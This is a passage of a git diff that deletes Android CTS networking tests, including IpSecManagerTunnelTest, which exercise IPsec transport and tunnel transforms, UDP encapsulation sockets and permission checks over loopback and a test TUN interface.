-        IpSecAlgorithm authCrypt =
-                new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 64);
-        checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, null, null, authCrypt, false, 1, false);
-        checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, null, null, authCrypt, false, 1, true);
-    }
-
-    @Test
-    public void testAesGcm64Udp6() throws Exception {
-        IpSecAlgorithm authCrypt =
-                new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 64);
-        checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, null, null, authCrypt, false, 1, false);
-        checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, null, null, authCrypt, false, 1, true);
-    }
-
-    @Test
-    public void testAesGcm96Tcp4() throws Exception {
-        IpSecAlgorithm authCrypt =
-                new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 96);
-        checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, null, null, authCrypt, false, 1, false);
-        checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, null, null, authCrypt, false, 1, true);
-    }
-
-    @Test
-    public void testAesGcm96Tcp6() throws Exception {
-        IpSecAlgorithm authCrypt =
-                new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 96);
-        checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, null, null, authCrypt, false, 1, false);
-        checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, null, null, authCrypt, false, 1, true);
-    }
-
-    @Test
-    public void testAesGcm96Udp4() throws Exception {
-        IpSecAlgorithm authCrypt =
-                new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 96);
-        checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, null, null, authCrypt, false, 1, false);
-        checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, null, null, authCrypt, false, 1, true);
-    }
-
-    @Test
-    public void testAesGcm96Udp6() throws Exception {
-        IpSecAlgorithm authCrypt =
-                new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 96);
-        checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, null, null, authCrypt, false, 1, false);
-        checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, null, null, authCrypt, false, 1, true);
-    }
-
-    @Test
-    public void testAesGcm128Tcp4() throws Exception {
-        IpSecAlgorithm authCrypt =
-                new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 128);
-        checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, null, null, authCrypt, false, 1, false);
-        checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, null, null, authCrypt, false, 1, true);
-    }
-
-    @Test
-    public void testAesGcm128Tcp6() throws Exception {
-        IpSecAlgorithm authCrypt =
-                new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 128);
-        checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, null, null, authCrypt, false, 1, false);
-        checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, null, null, authCrypt, false, 1, true);
-    }
-
-    @Test
-    public void testAesGcm128Udp4() throws Exception {
-        IpSecAlgorithm authCrypt =
-                new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 128);
-        checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, null, null, authCrypt, false, 1, false);
-        checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, null, null, authCrypt, false, 1, true);
-    }
-
-    @Test
-    public void testAesGcm128Udp6() throws Exception {
-        IpSecAlgorithm authCrypt =
-                new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 128);
-        checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, null, null, authCrypt, false, 1, false);
-        checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, null, null, authCrypt, false, 1, true);
-    }
-
-    @Test
-    public void testAesCbcHmacMd5Tcp4UdpEncap() throws Exception {
-        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
-        IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_MD5, getKey(128), 96);
-        checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, null, true, 1, false);
-        checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, null, true, 1, true);
-    }
-
-    @Test
-    public void testAesCbcHmacMd5Udp4UdpEncap() throws Exception {
-        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
-        IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_MD5, getKey(128), 96);
-        checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, true, 1, false);
-        checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, true, 1, true);
-    }
-
-    @Test
-    public void testAesCbcHmacSha1Tcp4UdpEncap() throws Exception {
-        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
-        IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA1, getKey(160), 96);
-        checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, null, true, 1, false);
-        checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, null, true, 1, true);
-    }
-
-    @Test
-    public void testAesCbcHmacSha1Udp4UdpEncap() throws Exception {
-        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
-        IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA1, getKey(160), 96);
-        checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, true, 1, false);
-        checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, true, 1, true);
-    }
-
-    @Test
-    public void testAesCbcHmacSha256Tcp4UdpEncap() throws Exception {
-        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
-        IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA256, getKey(256), 128);
-        checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, null, true, 1, false);
-        checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, null, true, 1, true);
-    }
-
-    @Test
-    public void testAesCbcHmacSha256Udp4UdpEncap() throws Exception {
-        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
-        IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA256, getKey(256), 128);
-        checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, true, 1, false);
-        checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, true, 1, true);
-    }
-
-    @Test
-    public void testAesCbcHmacSha384Tcp4UdpEncap() throws Exception {
-        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
-        IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA384, getKey(384), 192);
-        checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, null, true, 1, false);
-        checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, null, true, 1, true);
-    }
-
-    @Test
-    public void testAesCbcHmacSha384Udp4UdpEncap() throws Exception {
-        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
-        IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA384, getKey(384), 192);
-        checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, true, 1, false);
-        checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, true, 1, true);
-    }
-
-    @Test
-    public void testAesCbcHmacSha512Tcp4UdpEncap() throws Exception {
-        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
-        IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA512, getKey(512), 256);
-        checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, null, true, 1, false);
-        checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, null, true, 1, true);
-    }
-
-    @Test
-    public void testAesCbcHmacSha512Udp4UdpEncap() throws Exception {
-        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
-        IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA512, getKey(512), 256);
-        checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, true, 1, false);
-        checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, true, 1, true);
-    }
-
-    @Test
-    public void testAesGcm64Tcp4UdpEncap() throws Exception {
-        IpSecAlgorithm authCrypt =
-                new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 64);
-        checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, null, null, authCrypt, true, 1, false);
-        checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, null, null, authCrypt, true, 1, true);
-    }
-
-    @Test
-    public void testAesGcm64Udp4UdpEncap() throws Exception {
-        IpSecAlgorithm authCrypt =
-                new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 64);
-        checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, null, null, authCrypt, true, 1, false);
-        checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, null, null, authCrypt, true, 1, true);
-    }
-
-    @Test
-    public void testAesGcm96Tcp4UdpEncap() throws Exception {
-        IpSecAlgorithm authCrypt =
-                new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 96);
-        checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, null, null, authCrypt, true, 1, false);
-        checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, null, null, authCrypt, true, 1, true);
-    }
-
-    @Test
-    public void testAesGcm96Udp4UdpEncap() throws Exception {
-        IpSecAlgorithm authCrypt =
-                new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 96);
-        checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, null, null, authCrypt, true, 1, false);
-        checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, null, null, authCrypt, true, 1, true);
-    }
-
-    @Test
-    public void testAesGcm128Tcp4UdpEncap() throws Exception {
-        IpSecAlgorithm authCrypt =
-                new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 128);
-        checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, null, null, authCrypt, true, 1, false);
-        checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, null, null, authCrypt, true, 1, true);
-    }
-
-    @Test
-    public void testAesGcm128Udp4UdpEncap() throws Exception {
-        IpSecAlgorithm authCrypt =
-                new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 128);
-        checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, null, null, authCrypt, true, 1, false);
-        checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, null, null, authCrypt, true, 1, true);
-    }
-
-    @Test
-    public void testCryptUdp4() throws Exception {
-        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
-        checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, null, null, false, 1, false);
-        checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, null, null, false, 1, true);
-    }
-
-    @Test
-    public void testAuthUdp4() throws Exception {
-        IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA256, getKey(256), 128);
-        checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, null, auth, null, false, 1, false);
-        checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, null, auth, null, false, 1, true);
-    }
-
-    @Test
-    public void testCryptUdp6() throws Exception {
-        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
-        checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, crypt, null, null, false, 1, false);
-        checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, crypt, null, null, false, 1, true);
-    }
-
-    @Test
-    public void testAuthUdp6() throws Exception {
-        IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA256, getKey(256), 128);
-        checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, null, auth, null, false, 1, false);
-        checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, null, auth, null, false, 1, true);
-    }
-
-    @Test
-    public void testCryptTcp4() throws Exception {
-        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
-        checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, null, null, false, 1, false);
-        checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, null, null, false, 1, true);
-    }
-
-    @Test
-    public void testAuthTcp4() throws Exception {
-        IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA256, getKey(256), 128);
-        checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, null, auth, null, false, 1, false);
-        checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, null, auth, null, false, 1, true);
-    }
-
-    @Test
-    public void testCryptTcp6() throws Exception {
-        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
-        checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, crypt, null, null, false, 1, false);
-        checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, crypt, null, null, false, 1, true);
-    }
-
-    @Test
-    public void testAuthTcp6() throws Exception {
-        IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA256, getKey(256), 128);
-        checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, null, auth, null, false, 1, false);
-        checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, null, auth, null, false, 1, true);
-    }
-
-    @Test
-    public void testCryptUdp4UdpEncap() throws Exception {
-        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
-        checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, null, null, true, 1, false);
-        checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, null, null, true, 1, true);
-    }
-
-    @Test
-    public void testAuthUdp4UdpEncap() throws Exception {
-        IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA256, getKey(256), 128);
-        checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, null, auth, null, true, 1, false);
-        checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, null, auth, null, true, 1, true);
-    }
-
-    @Test
-    public void testCryptTcp4UdpEncap() throws Exception {
-        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
-        checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, null, null, true, 1, false);
-        checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, null, null, true, 1, true);
-    }
-
-    @Test
-    public void testAuthTcp4UdpEncap() throws Exception {
-        IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA256, getKey(256), 128);
-        checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, null, auth, null, true, 1, false);
-        checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, null, auth, null, true, 1, true);
-    }
-
-    @Test
-    public void testOpenUdpEncapSocketSpecificPort() throws Exception {
-        IpSecManager.UdpEncapsulationSocket encapSocket = null;
-        int port = -1;
-        for (int i = 0; i < MAX_PORT_BIND_ATTEMPTS; i++) {
-            try {
-                port = findUnusedPort();
-                encapSocket = mISM.openUdpEncapsulationSocket(port);
-                break;
-            } catch (ErrnoException e) {
-                if (e.errno == OsConstants.EADDRINUSE) {
-                    // Someone claimed the port since we called findUnusedPort.
-                    continue;
-                }
-                throw e;
-            } finally {
-                if (encapSocket != null) {
-                    encapSocket.close();
-                }
-            }
-        }
-
-        if (encapSocket == null) {
-            fail("Failed " + MAX_PORT_BIND_ATTEMPTS + " attempts to bind to a port");
-        }
-
-        assertTrue("Returned invalid port", encapSocket.getPort() == port);
-    }
-
-    @Test
-    public void testOpenUdpEncapSocketRandomPort() throws Exception {
-        try (IpSecManager.UdpEncapsulationSocket encapSocket = mISM.openUdpEncapsulationSocket()) {
-            assertTrue("Returned invalid port", encapSocket.getPort() != 0);
-        }
-    }
-}
diff --git a/tests/tests/net/src/android/net/cts/IpSecManagerTunnelTest.java b/tests/tests/net/src/android/net/cts/IpSecManagerTunnelTest.java
deleted file mode 100644
index ae38faa..0000000
--- a/tests/tests/net/src/android/net/cts/IpSecManagerTunnelTest.java
+++ /dev/null
@@ -1,899 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.cts;
-
-import static android.app.AppOpsManager.OP_MANAGE_IPSEC_TUNNELS;
-import static android.net.IpSecManager.UdpEncapsulationSocket;
-import static android.net.cts.PacketUtils.AES_CBC_BLK_SIZE;
-import static android.net.cts.PacketUtils.AES_CBC_IV_LEN;
-import static android.net.cts.PacketUtils.BytePayload;
-import static android.net.cts.PacketUtils.EspHeader;
-import static android.net.cts.PacketUtils.IP4_HDRLEN;
-import static android.net.cts.PacketUtils.IP6_HDRLEN;
-import static android.net.cts.PacketUtils.IpHeader;
-import static android.net.cts.PacketUtils.UDP_HDRLEN;
-import static android.net.cts.PacketUtils.UdpHeader;
-import static android.net.cts.PacketUtils.getIpHeader;
-import static android.net.cts.util.CtsNetUtils.TestNetworkCallback;
-import static android.system.OsConstants.AF_INET;
-import static android.system.OsConstants.AF_INET6;
-
-import static org.junit.Assert.assertArrayEquals;
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.fail;
-import static org.junit.Assume.assumeTrue;
-
-import android.content.Context;
-import android.net.ConnectivityManager;
-import android.net.IpSecAlgorithm;
-import android.net.IpSecManager;
-import android.net.IpSecTransform;
-import android.net.LinkAddress;
-import android.net.Network;
-import android.net.TestNetworkInterface;
-import android.net.TestNetworkManager;
-import android.net.cts.PacketUtils.Payload;
-import android.net.cts.util.CtsNetUtils;
-import android.os.ParcelFileDescriptor;
-import android.platform.test.annotations.AppModeFull;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
-import java.net.Inet6Address;
-import java.net.InetAddress;
-import java.net.NetworkInterface;
-
-import org.junit.AfterClass;
-import org.junit.Before;
-import org.junit.BeforeClass;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@RunWith(AndroidJUnit4.class)
-@AppModeFull(reason = "MANAGE_TEST_NETWORKS permission can't be granted to instant apps")
-public class IpSecManagerTunnelTest extends IpSecBaseTest {
-    private static final String TAG = IpSecManagerTunnelTest.class.getSimpleName();
-
-    private static final InetAddress LOCAL_OUTER_4 = InetAddress.parseNumericAddress("192.0.2.1");
-    private static final InetAddress REMOTE_OUTER_4 = InetAddress.parseNumericAddress("192.0.2.2");
-    private static final InetAddress LOCAL_OUTER_6 =
-            InetAddress.parseNumericAddress("2001:db8:1::1");
-    private static final InetAddress REMOTE_OUTER_6 =
-            InetAddress.parseNumericAddress("2001:db8:1::2");
-
-    private static final InetAddress LOCAL_INNER_4 =
-            InetAddress.parseNumericAddress("198.51.100.1");
-    private static final InetAddress REMOTE_INNER_4 =
-            InetAddress.parseNumericAddress("198.51.100.2");
-    private static final InetAddress LOCAL_INNER_6 =
-            InetAddress.parseNumericAddress("2001:db8:2::1");
-    private static final InetAddress REMOTE_INNER_6 =
-            InetAddress.parseNumericAddress("2001:db8:2::2");
-
-    private static final int IP4_PREFIX_LEN = 32;
-    private static final int IP6_PREFIX_LEN = 128;
-
-    private static final int TIMEOUT_MS = 500;
-
-    // Static state to reduce setup/teardown
-    private static ConnectivityManager sCM;
-    private static TestNetworkManager sTNM;
-    private static ParcelFileDescriptor sTunFd;
-    private static TestNetworkCallback sTunNetworkCallback;
-    private static Network sTunNetwork;
-    private static TunUtils sTunUtils;
-
-    private static Context sContext = InstrumentationRegistry.getContext();
-    private static final CtsNetUtils mCtsNetUtils = new CtsNetUtils(sContext);
-
-    @BeforeClass
-    public static void setUpBeforeClass() throws Exception {
-        InstrumentationRegistry.getInstrumentation()
-                .getUiAutomation()
-                .adoptShellPermissionIdentity();
-        sCM = (ConnectivityManager) sContext.getSystemService(Context.CONNECTIVITY_SERVICE);
-        sTNM = (TestNetworkManager) sContext.getSystemService(Context.TEST_NETWORK_SERVICE);
-
-        // Under normal circumstances, the MANAGE_IPSEC_TUNNELS appop would be auto-granted, and
-        // a standard permission is insufficient. So we shell out the appop, to give us the
-        // right appop permissions.
-        mCtsNetUtils.setAppopPrivileged(OP_MANAGE_IPSEC_TUNNELS, true);
-
-        TestNetworkInterface testIface =
-                sTNM.createTunInterface(
-                        new LinkAddress[] {
-                            new LinkAddress(LOCAL_OUTER_4, IP4_PREFIX_LEN),
-                            new LinkAddress(LOCAL_OUTER_6, IP6_PREFIX_LEN)
-                        });
-
-        sTunFd = testIface.getFileDescriptor();
-        sTunNetworkCallback = mCtsNetUtils.setupAndGetTestNetwork(testIface.getInterfaceName());
-        sTunNetworkCallback.waitForAvailable();
-        sTunNetwork = sTunNetworkCallback.currentNetwork;
-
-        sTunUtils = new TunUtils(sTunFd);
-    }
-
-    @Before
-    @Override
-    public void setUp() throws Exception {
-        super.setUp();
-
-        // Set to true before every run; some tests flip this.
-        mCtsNetUtils.setAppopPrivileged(OP_MANAGE_IPSEC_TUNNELS, true);
-
-        // Clear sTunUtils state
-        sTunUtils.reset();
-    }
-
-    @AfterClass
-    public static void tearDownAfterClass() throws Exception {
-        mCtsNetUtils.setAppopPrivileged(OP_MANAGE_IPSEC_TUNNELS, false);
-
-        sCM.unregisterNetworkCallback(sTunNetworkCallback);
-
-        sTNM.teardownTestNetwork(sTunNetwork);
-        sTunFd.close();
-
-        InstrumentationRegistry.getInstrumentation()
-                .getUiAutomation()
-                .dropShellPermissionIdentity();
-    }
-
-    @Test
-    public void testSecurityExceptionCreateTunnelInterfaceWithoutAppop() throws Exception {
-        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
-
-        // Ensure we don't have the appop. Permission is not requested in the Manifest
-        mCtsNetUtils.setAppopPrivileged(OP_MANAGE_IPSEC_TUNNELS, false);
-
-        // Security exceptions are thrown regardless of IPv4/IPv6. Just test one
-        try {
-            mISM.createIpSecTunnelInterface(LOCAL_INNER_6, REMOTE_INNER_6, sTunNetwork);
-            fail("Did not throw SecurityException for Tunnel creation without appop");
-        } catch (SecurityException expected) {
-        }
-    }
-
-    @Test
-    public void testSecurityExceptionBuildTunnelTransformWithoutAppop() throws Exception {
-        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
-
-        // Ensure we don't have the appop. Permission is not requested in the Manifest
-        mCtsNetUtils.setAppopPrivileged(OP_MANAGE_IPSEC_TUNNELS, false);
-
-        // Security exceptions are thrown regardless of IPv4/IPv6. Just test one
-        try (IpSecManager.SecurityParameterIndex spi =
-                        mISM.allocateSecurityParameterIndex(LOCAL_INNER_4);
-                IpSecTransform transform =
-                        new IpSecTransform.Builder(sContext)
-                                .buildTunnelModeTransform(REMOTE_INNER_4, spi)) {
-            fail("Did not throw SecurityException for Transform creation without appop");
-        } catch (SecurityException expected) {
-        }
-    }
-
-    /* Test runnables for callbacks after IPsec tunnels are set up. */
-    private abstract class IpSecTunnelTestRunnable {
-        /**
-         * Runs the test code, and returns the inner socket port, if any.
-         *
-         * @param ipsecNetwork The IPsec Interface based Network for binding sockets on
-         * @return the integer port of the inner socket if outbound, or 0 if inbound
-         *     IpSecTunnelTestRunnable
-         * @throws Exception if any part of the test failed.
-         */
-        public abstract int run(Network ipsecNetwork) throws Exception;
-    }
-
-    private int getPacketSize(
-            int innerFamily, int outerFamily, boolean useEncap, boolean transportInTunnelMode) {
-        int expectedPacketSize = TEST_DATA.length + UDP_HDRLEN;
-
-        // Inner Transport mode packet size
-        if (transportInTunnelMode) {
-            expectedPacketSize =
-                    PacketUtils.calculateEspPacketSize(
-                            expectedPacketSize,
-                            AES_CBC_IV_LEN,
-                            AES_CBC_BLK_SIZE,
-                            AUTH_KEY.length * 4);
-        }
-
-        // Inner IP Header
-        expectedPacketSize += innerFamily == AF_INET ? IP4_HDRLEN : IP6_HDRLEN;
-
-        // Tunnel mode transform size
-        expectedPacketSize =
-                PacketUtils.calculateEspPacketSize(
-                        expectedPacketSize, AES_CBC_IV_LEN, AES_CBC_BLK_SIZE, AUTH_KEY.length * 4);
-
-        // UDP encap size
-        expectedPacketSize += useEncap ? UDP_HDRLEN : 0;
-
-        // Outer IP Header
-        expectedPacketSize += outerFamily == AF_INET ? IP4_HDRLEN : IP6_HDRLEN;
-
-        return expectedPacketSize;
-    }
-
-    private interface IpSecTunnelTestRunnableFactory {
-        IpSecTunnelTestRunnable getIpSecTunnelTestRunnable(
-                boolean transportInTunnelMode,
-                int spi,
-                InetAddress localInner,
-                InetAddress remoteInner,
-                InetAddress localOuter,
-                InetAddress remoteOuter,
-                IpSecTransform inTransportTransform,
-                IpSecTransform outTransportTransform,
-                int encapPort,
-                int innerSocketPort,
-                int expectedPacketSize)
-                throws Exception;
-    }
-
-    private class OutputIpSecTunnelTestRunnableFactory implements IpSecTunnelTestRunnableFactory {
-        public IpSecTunnelTestRunnable getIpSecTunnelTestRunnable(
-                boolean transportInTunnelMode,
-                int spi,
-                InetAddress localInner,
-                InetAddress remoteInner,
-                InetAddress localOuter,
-                InetAddress remoteOuter,
-                IpSecTransform inTransportTransform,
-                IpSecTransform outTransportTransform,
-                int encapPort,
-                int unusedInnerSocketPort,
-                int expectedPacketSize) {
-            return new IpSecTunnelTestRunnable() {
-                @Override
-                public int run(Network ipsecNetwork) throws Exception {
-                    // Build a socket and send traffic
-                    JavaUdpSocket socket = new JavaUdpSocket(localInner);
-                    ipsecNetwork.bindSocket(socket.mSocket);
-                    int innerSocketPort = socket.getPort();
-
-                    // For Transport-In-Tunnel mode, apply transform to socket
-                    if (transportInTunnelMode) {
-                        mISM.applyTransportModeTransform(
-                                socket.mSocket, IpSecManager.DIRECTION_IN, inTransportTransform);
-                        mISM.applyTransportModeTransform(
-                                socket.mSocket, IpSecManager.DIRECTION_OUT, outTransportTransform);
-                    }
-
-                    socket.sendTo(TEST_DATA, remoteInner, socket.getPort());
-
-                    // Verify that an encrypted packet is sent. As of right now, checking encrypted
-                    // body is not possible, due to the test not knowing some of the fields of the
-                    // inner IP header (flow label, flags, etc)
-                    sTunUtils.awaitEspPacketNoPlaintext(
-                            spi, TEST_DATA, encapPort != 0, expectedPacketSize);
-
-                    socket.close();
-
-                    return innerSocketPort;
-                }
-            };
-        }
-    }
-
-    private class InputReflectedIpSecTunnelTestRunnableFactory
-            implements IpSecTunnelTestRunnableFactory {
-        public IpSecTunnelTestRunnable getIpSecTunnelTestRunnable(
-                boolean transportInTunnelMode,
-                int spi,
-                InetAddress localInner,
-                InetAddress remoteInner,
-                InetAddress localOuter,
-                InetAddress remoteOuter,
-                IpSecTransform inTransportTransform,
-                IpSecTransform outTransportTransform,
-                int encapPort,
-                int innerSocketPort,
-                int expectedPacketSize)
-                throws Exception {
-            return new IpSecTunnelTestRunnable() {
-                @Override
-                public int run(Network ipsecNetwork) throws Exception {
-                    // Build a socket and receive traffic
-                    JavaUdpSocket socket = new JavaUdpSocket(localInner, innerSocketPort);
-                    ipsecNetwork.bindSocket(socket.mSocket);
-
-                    // For Transport-In-Tunnel mode, apply transform to socket
-                    if (transportInTunnelMode) {
-                        mISM.applyTransportModeTransform(
-                                socket.mSocket, IpSecManager.DIRECTION_IN, outTransportTransform);
-                        mISM.applyTransportModeTransform(
-                                socket.mSocket, IpSecManager.DIRECTION_OUT, inTransportTransform);
-                    }
-
-                    sTunUtils.reflectPackets();
-
-                    // Receive packet from socket, and validate that the payload is correct
-                    receiveAndValidatePacket(socket);
-
-                    socket.close();
-
-                    return 0;
-                }
-            };
-        }
-    }
-
